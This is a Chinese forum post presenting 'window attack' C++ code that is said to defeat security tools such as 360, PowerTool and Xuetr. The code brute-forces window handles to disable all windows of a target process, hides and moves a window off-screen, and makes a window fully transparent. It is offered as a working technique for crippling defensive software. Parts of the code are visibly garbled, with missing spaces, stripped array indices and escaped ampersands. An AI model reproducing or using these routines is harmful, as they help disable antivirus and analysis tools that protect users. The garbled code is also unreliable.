leo00 发表于 2017-6-2 11:01:05

窗口攻击大法

窗口攻击大法:
现在攻击Xurte, powertool,360等都还有用。。
界面:




1.窗口失效
void CWindowAttackDlg::On_Ok()
{
        // TODO: Add your control notification handler code here
        // TODO: Add extra validation here
        DWORD dwInputPID = GetDlgItemInt(IDC_EDT_pid);
        DWORD dwPID;
        for (int i = 10000; i < 9999999;i++)
        {
                GetWindowThreadProcessId((HWND)i, &amp;dwPID);
                if ( (dwPID == dwInputPID) || (dwPID == 0))
                {
                        ::EnableWindow((HWND)i, 0);
                }
        }
}
2.窗口移动
void CWindowAttackDlg::OnOk2()
{
        // TODO: Add your control notification handler code here
        WINDOWPLACEMENT stPlacement = {0};
        stPlacement.length = sizeof(WINDOWPLACEMENT);
        stPlacement.showCmd = SW_HIDE;
        stPlacement.ptMaxPosition.x = -12;
        stPlacement.ptMaxPosition.y = -12;

        stPlacement.ptMinPosition.x = -12;
        stPlacement.ptMinPosition.y = -12;
        stPlacement.rcNormalPosition.bottom = -12;
        stPlacement.rcNormalPosition.left = -12;
        stPlacement.rcNormalPosition.right = -12;
        stPlacement.rcNormalPosition.top = -12;

        DWORD dwHandle = GetDlgItemInt(IDC_EDT_pid2);


        ::SetWindowPlacement((HWND)dwHandle, &amp;stPlacement);

        ::MoveWindow((HWND)dwHandle, -1, -1, 0, 0 , FALSE);
        ::SetWindowPos((HWND)dwHandle,HWND_BOTTOM, -21, -12, 0, 0, SWP_HIDEWINDOW);
}
3. 窗口透明
typedefBOOL(__stdcall *pSetLayeredWindowAttributes) ( HWND hwnd, COLORREF crKey, BYTE bAlpha,DWORD dwFlags);

int ChangeNum(CString str,int length)   
{   
    charrevstr={0};//根据十六进制字符串的长度,这里注意数组不要越界
    int   num={0};   
    int   count=1;   
    int   result=0;   
    strcpy(revstr,str);   
    for   (int i=length-1;i>=0;i--)   
    {   
      if ((revstr>='0') &amp;&amp; (revstr<='9'))   
            num=revstr-48;//字符0的ASCII值为48
      else if ((revstr>='a') &amp;&amp; (revstr<='f'))   
            num=revstr-'a'+10;   
      else if ((revstr>='A') &amp;&amp; (revstr<='F'))   
            num=revstr-'A'+10;   
      else   
            num=0;   
      result=result+num*count;   
      count=count*16;//十六进制(如果是八进制就在这里乘以8)      
    }   
    return result;   
}


void CWindowAttackDlg::OnOk3()
{
        // TODO: Add your control notification handler code here
        DWORD dwHwnd;
        CString strHwnd;
        GetDlgItemText(IDC_EDT_pid3, strHwnd);

        dwHwnd = ChangeNum(strHwnd, strHwnd.GetLength());

        DWORD dwExStyle = ::GetWindowLong((HWND)dwHwnd, GWL_EXSTYLE);
        ::SetWindowLong((HWND)dwHwnd, GWL_EXSTYLE, dwExStyle | WS_EX_LAYERED);

        HMODULE hUser = GetModuleHandle("user32.dll");
        if (hUser == NULL)
        {
                AfxMessageBox("GetModuleHandle error");
                return ;
        }
                //SetLayeredWindowAttributes
        pSetLayeredWindowAttributes pMySetLayeredWindowAttributes;
        pMySetLayeredWindowAttributes = (pSetLayeredWindowAttributes)GetProcAddress(hUser, "SetLayeredWindowAttributes");
        pMySetLayeredWindowAttributes((HWND)dwHwnd, 0, 0, LWA_ALPHA);
        FreeLibrary(hUser);
}
页: [1]
查看完整版本: 窗口攻击大法